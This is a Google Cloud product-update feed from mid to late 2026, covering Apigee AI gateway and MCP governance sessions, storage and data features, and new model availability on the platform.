In our new blog, explore practical strategies to modernize storage operations using Storage Intelligence Advisor and enhanced Batch Operations. See how customers like Shipt and Palo Alto Networks are using these features to manage their estates at scale. Today, Storage Intelligence is used by 25 of the top 50 GCS customers. 2 in 3 customers have Storage Intelligence enabled for over 90% of their storage footprint.

Explore best practices on our blog
Cut Gen AI costs by 70% with Apigee X dynamic routing
Generative AI deployments face a harsh cost-performance trade-off: static model selection either wastes budget or compromises quality. Discover how to build an Intelligent AI Gateway using Apigee X to dynamically evaluate prompt complexity in real-time. This new blueprint automatically routes simple queries to lightweight models (like Gemini 3.5 Flash Lite) and complex reasoning tasks to advanced models (like Gemini 3.7 Flash), achieving over 70% cost savings without sacrificing output quality.

Read the guide to optimize your Gen AI architecture
AI Agent Clinic launches new hands-on session on production agent evaluations
A new episode of the AI Agent Clinic is now available showing organizations how to move past manual "vibe checks" to build robust, production-grade agent evaluations. In this hands-on session, Google Cloud engineer Dani Zamora and Matthew Feroz (Merge) take DocsHound, an open-source LangGraph agent, and build an end-to-end eval pipeline in under an hour. Learn how to standardize multi-turn traces across any framework using OpenTelemetry and OpenInference, pair LLM judges with deterministic checkers, and catch silent quality regressions before shipping.

Watch here
Drive AI impact: Join Google's Agentic Data Cloud event on Nov 4
Every enterprise plans to adopt agentic AI within two years, but data bottlenecks hold them back—AI accesses just 45% of enterprise data today (MIT, 2026). Google's Agentic Data Cloud provides the trustworthy foundation and real-time context AI needs. Join our product leaders November 4th to explore the latest innovations across databases, analytics, business intelligence, and storage, and get direct answers in our executive Q&A with Google Data Cloud VP & GM Andi Gutmans.

Register today!

Sept 21 - Sept 25

Master MCP tool authorization and agent governance with Apigee
While the Model Context Protocol (MCP) solves interoperability for autonomous AI agents, chained actions like CRM edits or database queries quickly expose systems to unauthorized execution. Join our technical deep dive on Thursday, October 1, 2026, at 5:00 PM CEST featuring Christophe from Google Cloud. Learn how positioning Apigee between MCP clients and enterprise backends enables fine-grained authorization (FGA), complete audit trails, and policy evaluation via emerging standards like OpenID AuthZEN.

Language and accessibility note: This session will be hosted in French, but non-French speakers can follow along seamlessly by turning on Google Meet live translated captions to read in English, Spanish, German, Portuguese, or Italian.

Register for the October 1 Community TechTalk
Apigee Trace Viewer Tutorial: Capturing & Analyzing Proxy Traces
Streamlining API proxy debugging just got easier with a new tutorial by Apigee Customer Engineer Tyler Ayers. The guide covers end-to-end instructions for capturing debug traces in both Google Cloud Apigee X (or Hybrid) and the local Apigee Emulator, extracting trace JSON data via the web UI or automated REST APIs, and analyzing execution flows, variable mutations, and latency bottlenecks using the open source Apigee Trace Viewer.

Read the Apigee Trace Viewer guide today.
Automate Apigee proxy testing locally
Catching errors early saves time and money. A new tutorial by Apigee customer engineer Tyler Ayers shows how to use the Apigee Local Emulator for automated testing. Learn to run tests locally, integrate them into CI/CD pipelines, and deploy on Google Cloud Run for shared sandboxes. This approach provides instant feedback and zero cloud costs, helping teams speed up deployment cycles.

Read the tutorial
Scale your enterprise multi-agent systems with Apigee
Deploying multi-agent architectures in production introduces critical hurdles around security, operational control, and runtime expenses. Discover how Apigee API Hub provides a central discovery surface to eliminate agent sprawl across tools, Model Context Protocol (MCP) servers, and enterprise APIs. Learn how to turn existing backend services into secure MCP tools using Agent Gateway guardrails, while applying semantic caching and intelligent model routing to keep compounding token costs predictable.

Join Google Cloud in Chicago in Oct.15 for The AI Evolution. Reserve your seat for Chicago

Automate Apigee proxy testing with the Apigee Local Emulator
Waiting on remote deployments to validate API proxy logic slows down release cycles and increases infrastructure overhead. Join Nigel Walters on Thursday, October 8, 2026, at 5:00 PM CEST for a Community TechTalk on shift-left testing for Apigee. Discover how to use the Apigee Local Emulator and apigee-emulator-service to run sub-second assertion suites on local machines, automate CI/CD checks in GitHub Actions, and deploy ephemeral preview sandboxes on Google Cloud Run.

Register for the October 8 Community TechTalk
Now in Public Preview: AI-assisted EKS-to-GKE migrations with deterministic guardrails
Migrating complex Kubernetes estates from AWS EKS to GKE is traditionally high-friction and error-prone. Now in Public Preview, GKE Agentic Migration is an open-source agent plugin that replaces ad-hoc LLM prompting with an AI-assisted migration workflow protected by deterministic guardrails.

Running locally in your development harness, it indexes source IaC, maps cloud-specific primitives (such as Karpenter to Custom Compute Classes), and validates configurations offline—delivering reviewable pull requests and data-migration runbooks with zero live cluster mutations.

Learn more in the announcement blog and try the plugin on GitHub.
Claude Opus 5.5 is now available on Google Cloud. Built for everyday complex tasks, it delivers stronger agentic coding, research, and analysis while handling long-running work at a lower cost per token. Google Cloud continues to provide enterprise customers with broad model choice to build, deploy, and scale their AI agents securely.

Try it here.
Import Delta Lake tables with Dataflow Job Builder!
Migrating to borderless Lakehouse just got a lot easier. You can now import Delta Lake tables stored in Cloud Storage using Dataflow Job Builder, a no-code/low-code interface for authoring Dataflow pipelines. Because Dataflow is a fully managed service, you are spared the overhead of provisioning and managing virtual machines. For step-by-step guidance, check out the documentation here.

Sept 14 - Sept 18

Storage Intelligence Advisor for Google Cloud Storage is now GA
Google Cloud Storage customers can now manage cloud storage more effectively with Storage Intelligence Advisor, delivering curated metrics, automated anomaly detection, and actionable recommendations right out of the box, with zero setup required.

Advisor baselines activity across your projects and automatically detects four key anomalies: surges in operations, unexpected rises in cross-region egress, and spikes in errors. Each finding includes deep drill-down visibility into the resources driving the change, alongside prescriptive steps to remediate issues before they impact performance or cost.

Learn more to get started with Storage Intelligence Advisor.
Build private WebSockets from Apigee X to Cloud Run
Real-time AI agents and streaming architectures often require persistent, bidirectional connections. A new implementation guide by Apigee Customer Engineer Joel Gauci demonstrates how to establish private southbound connectivity between Apigee X and Cloud Run. Using Private Service Connect (PSC) and a Regional Internal Application Load Balancer, teams can enforce API governance and security policies at the edge while keeping backend services completely isolated from the public internet.

Explore the step-by-step guide and open-source code
Connecting Gemini Enterprise Agent Runtime to Apigee with Private Service Connect
Deploying autonomous AI agents often presents security, compliance, and cost challenges. A new reference guide details how to build an end-to-end, private architecture between Gemini Enterprise Agent Runtime and Apigee. This design helps protect internal backends and manage token quotas.

Read the full community guide and deploy the code
Discover what’s new and next in Apigee
As enterprise architectures adapt to generative AI and autonomous workflows, Apigee is expanding its proven platform capabilities to support modern AI gateway use cases alongside traditional API management. Join our session on Thursday, September 24, featuring Apigee Product Manager Geir Sjurseth. Get an inside look at recent product releases, explore architectural patterns for securing models and agents, and bring your questions for the live Q&A.

Register for the September 24 Apigee product update
Managed Service for Apache Kafka supports clusters with public Internet access!
With Managed Kafka public clusters, you can now produce and consume messages from clients outside your VPC—including your local machine, for faster, frictionless testing. Public clusters unlock use cases like IoT devices, retail storefronts, and telco network towers. Enable public access on new or existing clusters via the Google Cloud console, gcloud CLI, or REST API. Spin up your first public cluster, or reach out to kafka-hotline@google.com with questions.
Stream data directly into Bigtable using Bigtable subscriptions, now in Preview!
You can write Pub/Sub messages to a Bigtable table with zero ETL with Bigtable subscriptions. No pipelines, no code, delivered by the serverless, zero-ops experience you already know with Pub/Sub. Power your AI workloads, from model telemetry to real-time context engineering, without the overhead of managing complicated ETL pipelines. Built to be dependable, with native support for dead-letter topics. Try the feature today!

Sept 7 - Sept 10

Why Your Voice Agent Needs Session Auditing
Moving voice agents to production demands robust quality monitoring. This guide dives deep into the inner workings of the Agent Development Kit (ADK) responsible for audio session auditing. Learn how the ADK's save_live_blob feature intercepts, buffers, and stores raw audio chunks during active Gemini Live sessions. We explore building an automated post-processing pipeline to seamlessly stitch these fragments into cohesive, playable audio files. Discover how to leverage these vital audio audit trails to monitor real-world interactions, diagnose failures, and ensure enterprise-grade reliability. Read the full guide here.
AlloyDB Omni Red Hat RPM Orchestrator now Generally Available
AlloyDB Omni Red Hat RPM orchestrator is now Generally Available. The AlloyDB Omni Red Hat RPM orchestrator offers a new way to manage PostgreSQL-compatible workloads on bare metal or VM platforms, combining the high performance of AlloyDB, access to generative AI features and Gemini models to build AI agents and applications, and full automation. The orchestrator simplifies cluster provisioning and lifecycle management by allowing you to define reference architecture specifications, customizable by adjusting instance parameters, node configurations, and networking options — discover all details in full blog post.

Aug 31 - Sept 4

Automate VM guest software lifecycle with VM Extension Manager, now GA
Google Cloud VM Extension Manager is now generally available, eliminating the need for custom startup scripts to manage guest OS extensions across Compute Engine fleets. Define declarative, project-wide policies that enforce desired software states across all regions and zones. Benefit from continuous drift detection with automatic self-healing, multi-zone phased rollouts with automated rollbacks on failure, and centralized fleet health visibility integrated with Cloud Monitoring.

Explore VM Extension Manager documentation
Assess Apigee migrations without a target environment
Planning a migration to Apigee X or Hybrid? You can now assess your legacy Apigee Edge SaaS or OPDK environment earlier in your planning cycle. Using the updated --skip-target-validation flag in the Apigee Migration Assessment Tool, teams can generate a full inventory and establish scope baselines before target infrastructure or IAM credentials are provisioned.

Read the guide to learn more.
Claude Fable 5.1 is now available on Agent Platform. It brings performance improvements over Fable 5 across reasoning, full-lifecycle coding, multi-tool workflows, and knowledge work.

Anthropic also announced Enterprise Frontier Safeguards, a solution that gives customers the option to safely deploy Anthropic’s most capable models while storing their data in cloud infrastructure they control.

We continue to offer enterprise customers options across frontier models to build, deploy, and scale securely on Google Cloud.

Aug 24 - Aug 28

Grok 4.6 is now available in Preview on Gemini Enterprise. xAI's most capable model, built for coding, agentic tasks, and knowledge work, Grok 4.6 joins Grok 4.3 and Grok 4.20 in Model Garden and becomes the flagship of the Grok family. It supports reasoning, function calling, and structured output for multi-step agentic workflows, and accepts text and image input.

Get started today
Empowering autonomous agents with advanced security governance
AI agents offer incredible productivity gains, but granting them access to read emails, query databases, and trigger APIs introduces critical new security risks. In fact, 79% of tech leaders cite security and governance as their biggest challenge to scaling AI. Traditional tools are no longer enough to handle automated threats like prompt injection and dynamic permissions. Discover how forward-thinking enterprises are using secure-by-default design, agent identity governance, and human-in-the-loop controls to deploy agents with confidence.

Read more
Stateful processing is available in BigQuery continuous queries in Preview
Stateful operations significantly expand what’s possible with BigQuery continuous queries. This feature allows users to leverage functions like JOINs, aggregations, and windowing functions directly in their streaming queries. Now you can calculate metrics over time (for example, a 30-minute average) to power your downstream applications and AI agents with much richer, real-time signals.
Try out our feature here and share your feedback with bq-continuous-queries-feedback@google.com!
Synthetic data generator tool is available for Managed Service for Kafka
You’ve launched your first Kafka cluster. Now what? The next thing to do is to produce some data to the cluster, but that involves modifying a client application somewhere or spinning up a virtual machine. The synthetic data generator tool, now generally available, can start sending mock data to your cluster in 3 clicks, and will get data streaming into your cluster in less than two minutes. The perfect utility for those moments you just want to test your cluster and new features. Try our quickstart today!
Dataflow pipeline updates are faster & more flexible
Dataflow pipeline updates can now stop-and-replace pipelines, a major addition to the existing in-place-update feature. The new parallel pipeline option accelerates the migration between the old & new pipeline, resulting in reduced disruption to your business. You can also set a timeout on drains that prevents runaway costs for your pipeliness in the event of stuck processing. This feature is generally available. Try it here!

Aug 17 - Aug 21

Webinar: Agent Identity as the backbone for secure AI innovation
An AI agent with a stolen API key looks identical to a legitimate one. As autonomous agents scale across enterprise systems, static credentials and legacy IAM policies can no longer keep up with machine-speed execution. Join Shaun Liu, Product Manager at Google Cloud, on August 27 at 1 PM ET to explore Google Cloud’s vision for unifying agent, human, and nonhuman identity into a workload-centric platform using verifiable cryptographic identities (SPIFFE, ID-JAG, OAuth).

Register for the webinar now

Aug 10 - Aug 14

Diagnosing Apigee Hybrid Cassandra Read Latency for Peak Performance
Diagnose real-time Cassandra read latency and resolve API key verification bottlenecks in Apigee Hybrid with this step-by-step troubleshooting guide. Learn how to deploy a debugging client and query performance tables to maintain sub-millisecond response times.

Read the Apigee Hybrid Cassandra Troubleshooting Guide
Keep moving with agents! The All Things Agentic Hackathon is officially live.
We're challenging builders to build next-generation agents that take on the busy work and handle the heavy lifting in the background using Gemini 3.5 and Google Cloud. Compete for your share of $190,000 in prizes, cash, and Google Cloud credits! Submissions are open from August 3, 2026, to August 31, 2026.

Learn more and register. Sign up for GEAR to get exclusive updates and your badge. #AllThingsAgenticHackathon
Accelerate PostgreSQL migrations using Gemini in Database Migration Service
Enterprise database migrations often stall during the "last mile" of translating legacy stored procedures, triggers, and custom functions from Oracle or SQL Server. Database Migration Service (DMS) now provides AI-assisted code conversion powered by Gemini in Databases. By combining deterministic compiler rules for 1:1 syntax with Gemini contextual synthesis for complex procedural blocks, DMS converts legacy code into native PostgreSQL and AlloyDB with full schema awareness and side-by-side validation.

Read the full blog post to learn how to streamline your database code conversion.
Compute Flex CUDs now available for G2 and G4 GPU VMs
Compute Flexible Committed Use Discounts (Flex CUDs) are now available for G2 (NVIDIA L4) and G4 (NVIDIA RTX Pro 6000) VMs. You can now lock in predictable savings while retaining the flexibility to adapt across VM families, migrate between regions, and combine general-purpose compute, GKE, Cloud Run, and G2 & G4 GPU VMs under a single spend commitment. Flex CUDs for G-series VMs let you lock in savings today while preserving the agility to upgrade to latest hardware without disruption!

Explore VM instance pricing or learn more about Flex CUDs.
Rapid Bucket accelerates the training and checkpoint performance in PyTorch Ecosystem via GCSFS
With the release of GCSFS 2026.8.0, organisations can now unlock maximum ROI from their AI/ML infrastructure by eliminating data starvation on GPUs in PyTorch ecosystem when they are using Frameworks like Dask, Pandas, PyTorch , PyTorch Lightning, Hugging Face Datasets, Ray dataetc. By making adaptive concurrent prefetching the default, GCSFS dynamically predicts and background-fetches sequential read patterns—boosting single-file throughput by 5x, and scaling up to 21 GiB/s , saturating the NIC when paired with Rapid Bucket. Saturating the NIC translates to significantly improved accelerator goodput and reduced training wait times with zero integration friction. Training and checkpoint restore workflows benefit from intelligent memory management that automatically drains the buffer during random reads to completely avoid bandwidth or memory penalties.

Aug 3 - Aug 7

Navigate data sovereignty and AI innovation with hybrid cloud
For enterprises facing strict compliance rules, keeping sensitive data on-premises often means missing out on cutting-edge AI. Data from the 2026 State of AI Infrastructure report reveals that 52% of IT leaders are adopting hybrid cloud strategies to bridge this gap. Our latest blog post explores how Google Distributed Cloud (GDC) helps organizations deploy connected or air-gapped models to run advanced AI entirely within secure environments—mitigating geopolitical risks without sacrificing innovation. Read more.
SAP and Google Cloud Launch BDC Connect for BigQuery
For years, enterprises have struggled with the cost, risk, and complexity of moving mission-critical SAP data into advanced analytics platforms. The general availability of SAP Business Data Cloud (BDC) Connect for BigQuery marks a turning point. By introducing revolutionary zero-copy, bi-directional data sharing, this new capability seamlessly bridges SAP systems with Google Cloud's powerful data and AI ecosystem. Instead of wrestling with manual data duplication and lost business context, organizations can now eliminate silos, dramatically lower their analytics costs, and rapidly deploy trustworthy, agentic AI solutions grounded in real-time operational reality. Read the full announcement to learn how to transform your data strategy.
Google Cloud Cortex Framework version 7 is now generally available!
This release helps you modernize your data architecture for AI agent readiness, enabling you to quickly deploy, customize, and extend robust data products while simplifying orchestration and reducing infrastructure overhead. It provides data product accelerators for SAP-sourced data to build trusted, high-quality data products ready for advanced analytics and agentic use cases. The Framework integrates with Google Cloud products including BigQuery, Dataform, Knowledge Catalog, and Gemini Enterprise Agent Platform. Learn more in our announcement blog, technical documentation, or try a demo deployment today.
From API Management to AI Gateway with Apigee
Massive LLM adoption unlocked automation but exposed critical vulnerabilities, from unpredictable token costs to security risks like prompt injection. Without central management, organizations face accelerated technical debt. Learn how to transform Apigee into an enterprise AI Gateway to centralize governance. This architectural roadmap details how to utilize semantic cache to optimize token costs, implement prompt protection policies for security, and productize tools using the emerging MCP standard.

Read the full architectural roadmap on the Apigee Community Hub
Centrally govern enterprise AI traffic with Apigee AI Gateway
Manage, track, and secure model communication across your entire infrastructure from a single pane of glass. In a new video walkthrough, Principal Architect Tyler Ayers demonstrates how Apigee AI Gateway simplifies agentic governance. Learn how to transparently proxy model traffic, log real-time token counts, and apply runtime security quotas without impacting your developer workflow.

Watch the Apigee AI Gateway demo
Maximize Provisioned Throughput Utilization
Sudden traffic micro-spikes can exceed per-second quotas, triggering 429 errors or forcing overflow into shared resource pools. A new architectural guide demonstrates how to build a serverless "shock absorber" using Cloud Run and Google Cloud Tasks. By decoupling request ingestion from execution, this queue-based pattern flattens volatile traffic bursts and smoothly drips requests to Gemini at your exact quota rate, maximizing Provisioned Throughput utilization while eliminating job failures during peak usage. Read the step-by-step setup guide.
Eliminate security blindspots in agentic tool interactions
Unmonitored agentic tool calls via the Model Context Protocol (MCP) can introduce critical security risks to your enterprise architecture. Join our technical deep dive on Thursday, August 13, to discover how to position Apigee as a centralized security gateway. Featuring the new ParsePayload policy and payload operations groups in API Products, this session demonstrates how to enforce granular tool filtering, manage execution quotas, and scale secure agent ecosystems without impeding developer velocity.

Register for the August 13 Community TechTalk

Jul 27 - Jul 31

Data Cloud and Apigee CDMX: The AI Agent Evolution | August 12, 2026
Enterprise AI demands evolution beyond basic conversational assistants. To generate real value, AI models must connect with the organization's core systems and live data sources. Join us this August 12 at Google CDMX for the exclusive event AI Evolution: Powering Tomorrow's Enterprise. Learn how to design an agile and secure ecosystem by unifying the power of Gemini, Apigee, and data agent technologies through practical demonstrations led by Google Cloud engineers.

Secure your spot for the in-person session in Mexico City Register now!
Vast Edge, built on GCP, launches the first live recovery interface for cloud backups, enabling IT teams to inspect backup contents in real time. This transforms backups from a blind, log-based process into an interactive platform where teams can instantly search, preview, and validate the exact data available for restore.

This platform protects Google Workspace, NetSuite, Salesforce, Workday and many SaaS environments, providing complete visibility and enterprise-grade oversight.

Visit Vast Edge Backup & Disaster Recovery and get a free trial of their backup solutions on the GCP Marketplace for Google Workspace Backup, NetSuite Backup, Salesforce Backup, and Workday Backup.

Jul 20 - Jul 24

Claude Opus 5, Anthropic’s latest model, is now available on Agent Platform. It brings performance improvements over Opus 4.8 across coding, long-running agents, and knowledge work.The model is Zero Data Retention (ZDR) compatible. For safety, high-risk workflows — such as penetration testing or exploit generation — it will notify you and fall back to Opus 4.8.We’re excited to continue to offer enterprise customers options across frontier models to build, deploy, and scale AI securely. Try it here.
Apigee Northam Roadshow 2026 | The AI Agent Evolution: Powering Tomorrow's Enterprise
AI is evolving. As your organization deploys autonomous agents, the integration between APIs and models becomes critical. Join Google Cloud specialists for an exclusive day of deep-dive sessions and live demos. Discover how the unified power of Apigee and the Google Cloud Agent Platform allows you to build, govern, and scale high-performance AI agents with complete control. Call to Action: Register for Sunnyvale | Register for NYC | Register for Chicago
Deploy an Apigee Proxy for MCP Registry Discovery
Learn how to deploy an Apigee X proxy to format Apigee API Hub data into the Model Context Protocol (MCP) Registry format. This tutorial by Tyler Ayers guides developers through cloning the sample repository, deploying using the Apigee Feature Templater (aft), and testing the endpoint to make API data easily discoverable by coding agents.

Read the full community tutorial to get started.
Simplify AI Infrastructure: Getting Started with Apigee AI Gateway
Managing a complex AI landscape with multiple backend environments can present significant operational and governance challenges. A new tutorial walks you through how to build a unified API proxy using Apigee AI Gateway. By establishing a single, secure entry point for all model traffic, teams gain access to real-time analytics, comprehensive tracing, and financial operations auditing—completely seamlessly, and with absolutely no modifications required to client environments or user configurations.

Read the step-by-step setup guide
Your AI agents are ready. Is your data?
The biggest bottleneck to scaling AI isn't the models—it's giving them access to business context. As enterprises move to proactive systems of action, legacy infrastructure often buckles under the nonlinear speed of AI agents. Google Cloud’s new Agentic Data Cloud, built on AI-native infrastructure, solves this by unifying data, AI models, and operational databases. Discover how a borderless Lakehouse and active Knowledge Catalog can empower your AI agents with trusted, real-time context without unnecessary engineering overhead. Read more.
Secure and govern your AI at Apigee AI Horizon in London
Moving AI from basic prompts to complex agentic workflows requires trust and control. Join us on Tuesday, 1st September 2026 at Google London for our 5th edition of Apigee AI Horizon. Discover how Google Cloud product leaders and architects are using Apigee and Model Armor to secure LLM APIs, implement policy controls, and manage token consumption. Do not miss this one—register soon!

Secure your spot for AI Horizon London

Jul 13 - Jul 17

Resource-Based CUD Sharing is Now Enabled by Default
Starting June 16, 2026, the default setting for Google Cloud Resource-based Committed Use Discount (CUD) sharing will change from disabled to enabled for new billing accounts and eligible existing accounts without active CUDs. This update automatically maximizes your savings by pooling underutilized discounts across your resources.

You retain full control and can adjust your CUD sharing preferences at any time by changing your CUD scope configuration. For instructions, see Enable CUD sharing or Disable CUD sharing.
Webinar for India: Google Cloud for EdTech: Optimizing Traffic and Token Governance at Scale
API traffic surges and AI model integration are reshaping the EdTech landscape. Join Satyam Maloo for the webinar Google Cloud for EdTech: Optimizing Traffic and Token Governance at Scale on July 23, 2026. Learn to implement advanced rate limiting, gain granular token visibility, and leverage real-time analytics to govern your platform effectively. Whether you’re scaling for peak academic seasons or integrating complex AI workflows, this session provides the infrastructure blueprint you need.

Register Now
Scaling AI Agents: Treat prompts like software artifacts
As AI agents move into production, monolithic system prompts often result in configuration drift, merge conflicts, and silent runtime failures. The solution is adopting a Prompts-as-Code architecture. By breaking prompts into modular skill files and using a build-time transpiler, engineering teams can introduce dependency resolution, static validation, and CI/CD rigor to their agent's control plane. Stop manually editing massive text files and start building deterministic, reliable agent infrastructure.

Read more here.

Jul 6 - Jul 10

Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks
Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.

Register for the webinar now
Safely run AI-generated code in Cloud Run sandboxes
Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly within your existing Cloud Run service instances.

Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.

Read the blog to learn more and get started today.
Australia API Horizon: Scaling Enterprise Governed AI Agents
The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.

Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.

Join us in your preferred city:
Build highly available, multi-region services on Cloud Run
Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.

Learn how to configure service health for Cloud Run.
Report: 83% of organizations need infrastructure upgrades for agentic AI
The shift from conversational bots to autonomous agents is breaking legacy systems. Our new State of AI Infrastructure report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.

Explore our key infrastructure insights
Stop tinkering, start scaling: the industrialized AI Playbook
Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.

In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&L-impacting enterprise ROI.

Read the full article on Medium
AI Agent Clinic: Slashing App Latency by 80%
Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.

Watch the 60-minute teardown

Jun 29 - Jul 3

Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform.
This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.

By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.

Get started today.
Automate your AI governance with Apigee and YAML
Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations without friction. Bring your questions and connect during our live Q&A session.

Register for the July 16 Community TechTalk
Build next-generation AI portals for autonomous agents
Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents.

Register for the July 23 Community TechTalk
Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)
In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices.

Register for the July 30 Portuguese Community TechTalk

Jun 22 - Jun 26

Accelerate TPU model loading while saving RAM on GKE.
Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source Run:ai Model Streamer now natively supports TPUs with Google Cloud Storage in TPU vLLM 0.18.0. This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was over 2x faster while cutting peak host memory usage by half. Read the full guide and get started today.
Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent
Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.

You can read more of this capability by clicking this link.

Jun 15 - Jun 19

Join us for a deep dive into agentic AI control with AppyThings
Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access.

Register for the session
Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview
Google Compute Engine has launched Capacity Advisor for Spot to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the Capacity Advisor API for obtainability and minimum estimated uptimes, or use the new Console UI featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.

Get started today to start optimizing your Spot VM deployments!
Build a multi-tenant agentic AI system
When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to design and deploy a multi-tenant agentic AI system in Google Cloud.
How to Configure Gemini Enterprise to Connect to a Custom MCP Server
The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog post provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.

Jun 8 - Jun 12

Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available
Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability.

Get started for free today

Jun 1 - Jun 5

Modeling the physical world with BigQuery Graph
Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this post, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.
Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)
Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.

Register for the June 18 Spanish Community TechTalk

May 25 - May 29

Anthropic’s Claude Opus 4.8 is now available on Gemini Enterprise Agent Platform. As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.
API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs
Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.

Register now
Securing AI Agents: The Extended Agent Gateway Pattern
Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.

Register for the June 4 Community TechTalk
API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP
